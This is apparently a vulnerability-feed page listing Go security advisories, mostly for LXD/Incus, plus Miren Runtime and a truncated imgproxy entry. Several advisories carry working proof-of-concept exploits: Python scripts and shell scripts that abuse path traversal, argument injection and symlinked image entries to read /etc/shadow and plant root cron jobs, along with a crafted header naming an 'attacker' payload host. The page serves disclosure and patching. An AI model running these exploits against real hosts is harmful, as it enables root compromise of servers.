Go vulnerabilities
Historical data is still loading (NVD, last 30 days): counts will keep growing over the next hours. See source status.
In the last 30 days, 115 Go vulnerabilities were published: 14 critical, 0 actively exploited. Most common weakness: incorrect authorization (CWE-863).
CVSS score: 10.0 Severity: Critical Identifier: CVE-2026-75521GHSA-8FH7-7Q4Q-CQ52 Miren Runtime: Authentication bypass in RPC layer: unverified TLS client certificates grant cluster superuser access Package: miren.dev/runtime fixed in 0.11.1 Published Published
Summary
The Miren Runtime RPC server (QUIC/HTTP3, default port :8443) requested TLS
client certificates but never verified that a presented certificate chained to
the cluster Certificate Authority. Because a client-certificate identity is
granted a blanket RBAC bypass, any party able to reach the RPC listener could
present a forged, self-signed certificate and be authenticated as a cluster
superuser — no valid CA signature, credential, or prior authorization
required.
Impact
This is a complete, unauthenticated authentication bypass against the cluster
control plane. An attacker who can reach the RPC port can perform any RPC
operation with full privileges: enumerate and manipulate entities, apps,
sandboxes, disks, and other cluster resources. This yields full compromise of
confidentiality, integrity, and availability of the cluster and everything it
orchestrates.
Exposure is network-reachability–gated only. Deployments that expose :8443
beyond a trusted network (e.g. 0.0.0.0/0) are remotely exploitable from the
internet by anyone; deployments that restrict :8443 to a trusted network are
exploitable by any party with access to that network.
Due to a lack of ability to detect if the RPC has been accessed unauthorized,
Miren recommends that all applications are redeployed and any credentials reference
in environment variables are rotated. A read-only script to help review standing access,
recent changes, and the exact secrets to rotate is available at https://github.com/mirendev/runtime/tree/089582a132f7fc1e1d5b5c0aee1e0911535fed53/scripts/security/audit-exposure.
Details
Three independent factors combined to produce the bypass:
-
The listener never verified the client-certificate chain. When a cluster
CA was configured, the RPC listener usedtls.RequestClientCert, which
requests a client certificate but does not verify it against the configured
ClientCAs.tls.ConnectionState.VerifiedChainswas therefore always empty,
and noVerifyPeerCertificate/VerifyConnectionhook re-checked the chain. -
The authenticator derived identity from an unverified certificate. The
RPC authenticators readPeerCertificates[0].Subject.CommonNamedirectly as
the caller identity, with methodcert, without checking that the chain had
been verified. -
Authorization granted a blanket bypass to certificate identities. The
authorizer returned "allowed" for anycert-method identity, skipping all
RBAC checks.
Go's TLS client only presents a certificate whose issuer Distinguished Name
matches a CA advertised by the server, but that comparison is on the (public,
non-secret) DN bytes only — it does not require a valid signature from the CA.
An attacker can therefore mint a self-signed certificate whose issuer DN is
byte-identical to the cluster CA subject, signed with an attacker-controlled
key. The stock client presents it, and the vulnerable server accepts it and
trusts its CommonName as a superuser identity.
Patches
Fixed by verifying the client-certificate chain before trusting it:
- The listener now uses
tls.VerifyClientCertIfGivenwhen a cluster CA is
configured. A presented certificate must chain to the configured CA to
complete the handshake, while certless callers (JWT/OIDC, which authenticate
via theAuthorizationheader) are still admitted. - As defense in depth, both RPC authenticators now require a non-empty
VerifiedChainsbefore deriving an identity from a client certificate.
Users should upgrade to the patched release and restart the server so the
new listener configuration takes effect.
Workarounds
Until the patch is deployed, restrict network access to the RPC port (:8443)
so that it is not reachable from untrusted networks — remove any
0.0.0.0/0 ingress and limit it to trusted management networks. This is a
containment measure only and does not remove the underlying vulnerability.
- Exploitation
- No known exploitation
- EPSS
- 0.33% chance of exploitation in the next 30 days, higher than 18.3% of CVEs
- CVSS
- 10.0 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Versions
- < 0.11.1 · fixed in 0.11.1
- Weakness
- CWE-295
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 5 min ago
CVSS score: 9.9 Severity: Critical Identifier: GHSA-47W9-6R3F-938G LXD has restricted project bypass leading to arbitrary command execution Package: github.com/canonical/lxd fixed in 0.0.0-20260630083100-c5184be310b1 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Versions
- < 0.0.0-20260630083100-c5184be310b1 · fixed in 0.0.0-20260630083100-c5184be310b1
- Weakness
- CWE-862
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 9.9 Severity: Critical Identifier: GHSA-PJFF-C2WC-F6JM LXD has arbitrary file write on client due to trusted image hash Package: github.com/canonical/lxd fixed in 0.0.0-20260630083100-c5184be310b1 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x
Summary
An arbitrary file write exists in the Incus client when a malicious image
server returns a crafted Incus-Image-Hash header. This can lead to
arbitrary command execution as root on the server.
Details
cmd/incusd/images.go:611-684handlessource.type=urlby HEADing the user-supplied URL, readingIncus-Image-HashandIncus-Image-URL, and passing them toimageDownload()asAlias
andServer.cmd/incusd/daemon_images.go:91-92defaultsfpto the caller-controlled alias string.cmd/incusd/daemon_images.go:333-335buildsdestName := filepath.Join(destDir, fp).cmd/incusd/daemon_images.go:469-523enters thedirectprotocol branch, opensdestNamewithos.Create(), and copies the HTTP response into that file.cmd/incusd/daemon_images.go:528-532validates the SHA-256 only after the file has already been created and populated.cmd/incusd/daemon_images.go:337-344cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause
the arbitrary file write.
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
PoC
The script below creates a malicious image server and requests an Incus
server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.
For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts
the `Incus-Image-Hash` header as the expected fingerprint. The direct download
path then creates `/var/lib/incus/images/<hash>` before validating that the hash
is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the
image directory.
Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP
server, returns a traversal hash pointing at cron, streams the cron payload, and
keeps the response open so the daemon-side cleanup does not immediately remove
the file.
"""
from __future__ import annotations
import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any
DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
class UnixHTTPConnection(http.client.HTTPConnection):
def __init__(self, socket_path: str, timeout: int = 120):
super().__init__("incus", timeout=timeout)
self.socket_path = socket_path
def connect(self) -> None:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect(self.socket_path)
self.sock = sock
class RCEHTTPServer(ThreadingHTTPServer):
hash_path: str
advertise_url: str
payload: bytes
hold_seconds: int
payload_requested: threading.Event
class DirectImageHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
server_version = "direct-image-rce/1.0"
def log_message(self, fmt: str, *args: Any) -> None:
print(f"[http] {self.address_string()} - {fmt % args}", flush=True)
def do_HEAD(self) -> None:
if self.path != "/stage":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
self.send_response(200)
self.send_header("Incus-Image-Hash", srv.hash_path)
self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
self.send_header("Connection", "close")
self.end_headers()
def do_GET(self) -> None:
if self.path != "/payload":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(srv.payload)
self.wfile.flush()
print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
time.sleep(srv.hold_seconds)
self.close_connection = True
def quote(value: str) -> str:
return urllib.parse.quote(value, safe="")
def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
if args.insecure:
ctx = ssl._create_unverified_context()
else:
ctx = ssl.create_default_context(cafile=args.cacert)
if args.cert:
ctx.load_cert_chain(args.cert, args.key)
return ctx
def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
if args.url:
parsed = urllib.parse.urlparse(args.url)
if parsed.scheme != "https":
raise ValueError("--url must use https")
return http.client.HTTPSConnection(
parsed.hostname,
parsed.port or 8443,
timeout=args.timeout,
context=tls_context(args),
)
return UnixHTTPConnection(args.socket, timeout=args.timeout)
def request_json(
args: argparse.Namespace,
method: str,
path: str,
obj: dict[str, Any] | None,
allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
body = None if obj is None else json.dumps(obj).encode("utf-8")
headers = {"Host": "incus"}
if body is not None:
headers["Content-Type"] = "application/json"
conn = connection(args)
conn.request(method, path, body=body, headers=headers)
resp = conn.getresponse()
raw = resp.read()
conn.close()
try:
data = json.loads(raw) if raw else {}
except json.JSONDecodeError:
data = {"raw": raw.decode("utf-8", "replace")}
if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")
return resp.status, data
def images_path(project: str) -> str:
return "/1.0/images?project=" + quote(project)
def cron_payload(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")
def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
return {
"source": {
"type": "url",
"url": project_url.rstrip("/") + "/stage",
},
"public": public,
}
def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
server.hash_path = args.hash_path
server.advertise_url = args.advertise_url
server.payload = payload
server.hold_seconds = args.hold_seconds
server.payload_requested = threading.Event()
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main() -> int:
parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
parser.add_argument("--cert", help="client certificate for remote Incus")
parser.add_argument("--key", help="client private key for remote Incus")
parser.add_argument("--cacert", help="CA certificate for remote Incus")
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
parser.add_argument("--project", default="default", help="project used for image import")
parser.add_argument("--public", action="store_true", help="mark imported image public")
parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")
parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")
parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")
parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")
parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")
parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")
parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
args = parser.parse_args()
if bool(args.cert) != bool(args.key):
parser.error("--cert and --key must be supplied together")
if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")
payload = cron_payload(args.command)
trigger_body = image_url_body(args.advertise_url, args.public)
print("[*] exploit primitive: direct image URL unvalidated hash path host write")
print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
print(f"[*] cron payload: {payload.decode().rstrip()}")
print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")
if not args.execute_trigger:
print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
return 0
server = start_server(args, payload)
print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")
status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")
if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
print("[*] daemon requested payload; cron file should exist until the held response is released")
else:
print("[!] daemon did not request payload within the wait window")
print("[*] leaving HTTP server active for the remaining hold window")
time.sleep(max(0, args.hold_seconds - 30))
server.shutdown()
server.server_close()
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)
Impact
An arbitrary file write on the client with root privileges; possibly leading
to arbitrary command execution.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Versions
- < 0.0.0-20260630083100-c5184be310b1 · fixed in 0.0.0-20260630083100-c5184be310b1
- Weakness
- CWE-20
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 9.9 Severity: Critical Identifier: GHSA-FMC8-P6Q7-75CC LXD has argument injection in backup compression algorithm leading to AFW and ACE Package: github.com/canonical/lxd fixed in 0.0.0-20260630083100-c5184be310b1 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4
Summary
Improper validation of user-provided backup compression algorithm leads to
argument injection in the constructed command line. This leads to an
arbitrary file write on the host, possibly leading to arbitrary command
execution.
Details
Incus validates compression_algorithm by parsing it into fields and checking
only the first token against an allowlist:
fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])
Extra arguments are not rejected. compressFile() then prepends -c and
passes the remaining user-supplied fields to the compressor:
args := []string{"-c"}
if len(fields) > 1 {
args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile
With a value like:
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
the daemon executes the equivalent of:
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
PoC
python3 poc.py \
--insecure --url https://remote-incus:8443 \
--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
--instance c01 \
--execute --yes-i-understand-this-writes-host-file
The following was generated by an LLM model.
#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.
Dry-run is the default. --execute uploads a cron payload into an instance and
then asks Incus for a direct backup with a zstd argument-injection compressor:
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>
The direct backup may fail after zstd runs; the host file write is the primitive.
Use only on an authorized Incus server.
"""
from __future__ import annotations
import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any
import requests
def q(value: str) -> str:
return urllib.parse.quote(value, safe="")
def api(base: str, endpoint: str, **params: str) -> str:
return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")
def project_instance(project: str, instance: str) -> str:
return instance if project == "default" else f"{project}_{instance}"
def clean_guest_path(path: str) -> str:
if not path.startswith("/"):
raise ValueError("--guest-path must be absolute")
if ".." in PurePosixPath(path).parts:
raise ValueError("--guest-path must not contain '..'")
return os.path.normpath("/" + path.lstrip("/")).lstrip("/")
def source_path(args: argparse.Namespace) -> str:
if args.source_host_path:
return args.source_host_path
return os.path.join(
args.incus_dir,
"storage-pools",
args.pool,
args.storage_kind,
project_instance(args.project, args.instance),
"rootfs",
clean_guest_path(args.guest_path),
)
def cron(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()
def session(args: argparse.Namespace) -> requests.Session:
s = requests.Session()
s.verify = False if args.insecure else (args.cacert or True)
if args.cert or args.key:
s.cert = (args.cert, args.key)
if args.token:
s.headers["Authorization"] = "Bearer " + args.token
s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
if args.insecure:
requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined]
return s
def check(resp: requests.Response, what: str) -> requests.Response:
if resp.status_code >= 400:
try:
detail: Any = resp.json()
except Exception:
detail = resp.text[:2048]
raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
return resp
def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
headers = {
"Content-Type": "application/octet-stream",
"X-Incus-type": "file",
"X-Incus-write": "overwrite",
"X-Incus-uid": "0",
"X-Incus-gid": "0",
"X-Incus-mode": "0644",
}
print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")
def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
print("[*] sending direct backup request")
resp = s.post(
url,
data=json.dumps(body).encode(),
headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
timeout=args.timeout,
stream=True,
)
print(f"[*] backup HTTP {resp.status_code}")
resp.close()
if resp.status_code >= 400:
print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
p.add_argument("--url", required=True, help="https://host:8443")
p.add_argument("--cert", help="client certificate PEM")
p.add_argument("--key", help="client private key PEM")
p.add_argument("--cacert", help="CA certificate PEM")
p.add_argument("--token", help="bearer token")
p.add_argument("--insecure", action="store_true", help="disable TLS verification")
p.add_argument("--timeout", type=int, default=180)
p.add_argument("--project", default="default")
p.add_argument("--instance", required=True)
p.add_argument("--pool", default="default")
p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
p.add_argument("--incus-dir", default="/var/lib/incus")
p.add_argument("--guest-path", default="/incus-zstd-cron")
p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")
p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
args = p.parse_args()
if urllib.parse.urlparse(args.url).scheme != "https":
p.error("--url must use https")
if bool(args.cert) != bool(args.key):
p.error("--cert and --key must be supplied together")
if args.execute and not args.yes_i_understand_this_writes_host_file:
p.error("--execute requires --yes-i-understand-this-writes-host-file")
try:
clean_guest_path(args.guest_path)
except ValueError as exc:
p.error(str(exc))
args.url = args.url.rstrip("/")
return args
def main() -> int:
args = parse_args()
src = source_path(args)
payload = cron(args.command)
compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
body = {"compression_algorithm": compressor, "instance_only": True}
print("[*] target:", args.url)
print("[*] project:", args.project)
print("[*] instance:", args.instance)
print("[*] source host path:", src)
print("[*] cron path:", args.cron_path)
print("[*] payload:", payload.decode().rstrip())
print("[*] backup body:", json.dumps(body, sort_keys=True))
if not args.execute:
print("[*] dry run only; add --execute and the confirmation flag to act")
return 0
s = session(args)
upload(s, args, payload)
trigger_backup(s, args, body)
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)
Impact
Improperly validated compression algorithm argument leads to argument
injection leading to arbitrary file write with zstd and possibly
arbitrary command execution.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Versions
- < 0.0.0-20260630083100-c5184be310b1 · fixed in 0.0.0-20260630083100-c5184be310b1
- Weakness
- CWE-20
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 9.9 Severity: Critical Identifier: GHSA-VGHH-5RFX-XHQ8 LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image Package: github.com/canonical/lxd fixed in 0.0.0-20260630083100-c5184be310b1 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem
with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Versions
- < 0.0.0-20260630083100-c5184be310b1 · fixed in 0.0.0-20260630083100-c5184be310b1
- Weakness
- CWE-73
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 9.9 Severity: Critical Identifier: GHSA-JPF8-86F3-WP38 LXD has arbitrary file read+write on host via templates/ symlink in malicious image Package: github.com/canonical/lxd fixed in 0.0.0-20260203144152-d1c8ba15d160 Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
Summary
A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.
PoC
Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Impact
Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Versions
- < 0.0.0-20260203144152-d1c8ba15d160 · fixed in 0.0.0-20260203144152-d1c8ba15d160
- Weakness
- CWE-73
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 9.9
Severity: Critical
Identifier: GHSA-9J25-MM2H-2F76
LXD has arbitrary file write on host via exec-output symlink in crafted image
Package: github.com/canonical/lxd fixed in 0.0.0-20260626085134-124f90100640
Published Published
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk. In instance_exec.go,
os.Mkdir continues of exec-output exists and os.OpenFile follows
the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
Impact
Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Versions
- < 0.0.0-20260626085134-124f90100640 · fixed in 0.0.0-20260626085134-124f90100640
- Weakness
- CWE-73
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 6, 2026 · first seen here 3 min ago
CVSS score: 9.8 Severity: Critical Identifier: GHSA-HFF9-5PQW-6W9F imgproxy has integer overflow in imgproxy ICO loader that causes denial of service and may permit remote code execution Package: github.com/imgproxy/imgproxy/v3 fixed in 4.0.16 Published Published
Summary
The ICO loader allocates data_size + BMP_FILE_HEADER_LEN bytes after reading a 32-bit attacker-controlled data_size. For data_size > UINT32_MAX - BMP_FILE_HEADER_LEN, the addition wraps before allocation. imgproxy then writes the ICO prefix and reads up to the original declared size starting 14 bytes into the undersized allocation. A network client can turn this heap overflow into remote denial of service or remote code execution.
Technical details
The vulnerable path is in vips/icoload.c at commit f4fedbb:
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
void *actual_data = data + BMP_FILE_HEADER_LEN;
if (vips_foreign_load_read_full(ico->source, actual_data, data_size) <= 0) {
vips_error("vips_foreign_load_ico_header", "unable to read ICO image data from the source");
return -1;
}
The crafted directory entry contains:
data_size = 0xfffffff5 (4294967285)
data_offset = 22
BMP header size = 14
